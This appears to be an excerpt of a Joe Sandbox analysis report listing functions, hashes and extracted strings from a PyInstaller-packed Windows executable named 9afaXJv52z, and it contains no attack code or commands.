                                                                                                                                                                                                                                      • Instruction ID: 05349727f06832de4c7f3ff4793eb53e7e3242437f97a90bf04d6ff94c97a7a0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dada551c461b21fdad657b6bac4cbdfad31b05eb9b59333086b2e0a15b162055
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4BF04F71A182958ADBA48F29A80262977D0FB487D5B80847DE689C3E54DA7C9460CF08
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BC760 Relevance: .0, Instructions: 2COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 5749315d7b24dceccc8714b5042f108a7de79c1631c17c6a95dc8ed6b888950b
                                                                                                                                                                                                                                      • Instruction ID: 930d4a0d658e5e5d5019c4190b39b1c1aa50950324f7b6e9950336a0df4d2bde
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5749315d7b24dceccc8714b5042f108a7de79c1631c17c6a95dc8ed6b888950b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 76A0022594CC07D0E6449B10E9900702730FF51B20B94053AE41DC10A0DF3CED41C702
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B51E0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc
                                                                                                                                                                                                                                      • String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
                                                                                                                                                                                                                                      • API String ID: 190572456-4266016200
                                                                                                                                                                                                                                      • Opcode ID: cf77275b4bf0387ff900e5ea28e17749df250fc4abdfb995cff073003fe970f9
                                                                                                                                                                                                                                      • Instruction ID: d36b6cc0ce40919f48e81a0dc77c3e0879e6adc7fca2e2e0da506ff66c29ca39
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cf77275b4bf0387ff900e5ea28e17749df250fc4abdfb995cff073003fe970f9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BD127264A0EB07D0FA55DB08A8901742BA1BF45FB1B98567DC85EC63A4FF7CAD48C602
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B12B0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message_fread_nolock
                                                                                                                                                                                                                                      • String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
                                                                                                                                                                                                                                      • API String ID: 3065259568-2316137593
                                                                                                                                                                                                                                      • Opcode ID: 6fc5ac864f703c4be55e556062f1d4a856c1a5df9fca28c7911cf52acfa12488
                                                                                                                                                                                                                                      • Instruction ID: 44719b8fc911621c49e3372d17f8fc23521ce0fb4d3dfeaced0b70442a4ec70c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6fc5ac864f703c4be55e556062f1d4a856c1a5df9fca28c7911cf52acfa12488
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2451A021A08683C6EA20A711A8916FA6394FF45FE4F904139EE4DC7B86EF7CED45C741
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B23F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                                                                                                                                                                                                                      • String ID: P%
                                                                                                                                                                                                                                      • API String ID: 2147705588-2959514604
                                                                                                                                                                                                                                      • Opcode ID: 7645c0c2d2fce03d3aab2d1fd33ee4a3925b53edade4cf92fedf68089910dc30
                                                                                                                                                                                                                                      • Instruction ID: 3e3b3ce59e3587f0f7fdae895279097488a449c89705b54a7b2d4c62ce838074
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7645c0c2d2fce03d3aab2d1fd33ee4a3925b53edade4cf92fedf68089910dc30
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4A51F426618BA1C7D6349F26A0581BAB7A1FB98B71F004125EFDE83784DF3CD485DB10
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C67A4 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID: -$:$f$p$p
                                                                                                                                                                                                                                      • API String ID: 3215553584-2013873522
                                                                                                                                                                                                                                      • Opcode ID: c6ac63e3974c66327622d921c1304357062fd3cb2bcbfe9c56688102bfb98152
                                                                                                                                                                                                                                      • Instruction ID: 363b0734e3ba09ecd68645fa3872601829425e9d31b0429d68488002a83dbe65
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c6ac63e3974c66327622d921c1304357062fd3cb2bcbfe9c56688102bfb98152
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DB127F62E08653C6FB349A58D1546B976A1FF82F64FC44139E68A876C4DF3CEC84CB24
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C1108 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID: f$f$p$p$f
                                                                                                                                                                                                                                      • API String ID: 3215553584-1325933183
                                                                                                                                                                                                                                      • Opcode ID: 7160b50ef5c5d9843a5fd5f0d5cd643ebb1f382f7049b3f2f81a6a7c29ab944c
                                                                                                                                                                                                                                      • Instruction ID: 143e236893e209839740d347c9999bf5bc44547be70dce459db8fff36d6b261e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7160b50ef5c5d9843a5fd5f0d5cd643ebb1f382f7049b3f2f81a6a7c29ab944c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4E129236E0C143C6FB209A55E1546B97261FF42FB6F884139E69A866C4DF3CEC80DB20
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B15A0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message
                                                                                                                                                                                                                                      • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                                                                                                                                      • API String ID: 2030045667-3659356012
                                                                                                                                                                                                                                      • Opcode ID: 6b9a6c4333214f139a40b945d1f460a1e464d0b1d53d7e46c317f83f46444753
                                                                                                                                                                                                                                      • Instruction ID: ee3e38473db0ffa2d9f26a10885a67184b21112adf5ffd4c54955c66b24591af
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6b9a6c4333214f139a40b945d1f460a1e464d0b1d53d7e46c317f83f46444753
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 15316021B08643C6EE24AB51E8915BA63A1FF04FE4F584139DE4D87A95EE3CED45C701
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BEB00 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                                                                                                                                                                                      • String ID: csm$csm$csm
                                                                                                                                                                                                                                      • API String ID: 849930591-393685449
                                                                                                                                                                                                                                      • Opcode ID: 2b2a4badfdaa60d9abfb93841dcb65d735c0fc58e4118d1b5c2a51383b6331b7
                                                                                                                                                                                                                                      • Instruction ID: adc4915d2dc749af2ac2114a9dd9e862144e61dfbbaea954e819823a3fdb8b56
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2b2a4badfdaa60d9abfb93841dcb65d735c0fc58e4118d1b5c2a51383b6331b7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 85E19372A08742C6EB20AF65D4813AD77A0FF44BA8F144539EE4D97B95CF38E981C702
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B86B0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6850B101D), ref: 00007FF6850B8747
                                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6850B101D), ref: 00007FF6850B879E
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ByteCharMultiWide
                                                                                                                                                                                                                                      • String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
                                                                                                                                                                                                                                      • API String ID: 626452242-27947307
                                                                                                                                                                                                                                      • Opcode ID: 3222192ef3eb6425b90c8fe8893bd4888df718eae9d290d6a680516fc0250b2d
                                                                                                                                                                                                                                      • Instruction ID: a19193bc4884b0e0f78466f2663b8fe60c0902b48dc3fc52a9e0e06246a66db4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3222192ef3eb6425b90c8fe8893bd4888df718eae9d290d6a680516fc0250b2d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D5417236A08B82C2E620DF15B88017AB7A5FF88BA4F544139DA8D97BA4DF3CD855D700
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B8BF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(?,00007FF6850B39EA), ref: 00007FF6850B8C31
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B29E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6850B87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF6850B101D), ref: 00007FF6850B2A14
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B29E0: MessageBoxW.USER32 ref: 00007FF6850B2AF0
                                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(?,00007FF6850B39EA), ref: 00007FF6850B8CA5
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ByteCharMultiWide$ErrorLastMessage
                                                                                                                                                                                                                                      • String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
                                                                                                                                                                                                                                      • API String ID: 3723044601-27947307
                                                                                                                                                                                                                                      • Opcode ID: 7cfc53ec1e7d7e3796f815228c84741cfee21f3cfb1208b0d82f5073ed857cdd
                                                                                                                                                                                                                                      • Instruction ID: ecd5cbb3a7844ad6bb331576863e40ca7802874df599b2adb83057a49d769ebd
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7cfc53ec1e7d7e3796f815228c84741cfee21f3cfb1208b0d82f5073ed857cdd
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 93215CB2A09B46C5EA10EF16E8810797761FF84FA0B984639DA4DC77A4EF3CE905D740
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B75A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo$_fread_nolock
                                                                                                                                                                                                                                      • String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
                                                                                                                                                                                                                                      • API String ID: 3231891352-3501660386
                                                                                                                                                                                                                                      • Opcode ID: bcf1bab17151b9b867e8af5c18e0028d1d58eb22676ef18991cc143743397808
                                                                                                                                                                                                                                      • Instruction ID: 333c4b4dff78d89887b72de7c8dca04c9fd60fb7c5fb4620d2da1a805f247c20
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bcf1bab17151b9b867e8af5c18e0028d1d58eb22676ef18991cc143743397808
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7051A121A0D643C1FA11BB259A912B96291BF85FB0F540138ED0EC77D7EE2CED09C351
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BDDB8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • LoadLibraryExW.KERNEL32(?,?,?,00007FF6850BE06A,?,?,?,00007FF6850BDD5C,?,?,00000001,00007FF6850BD979), ref: 00007FF6850BDE3D
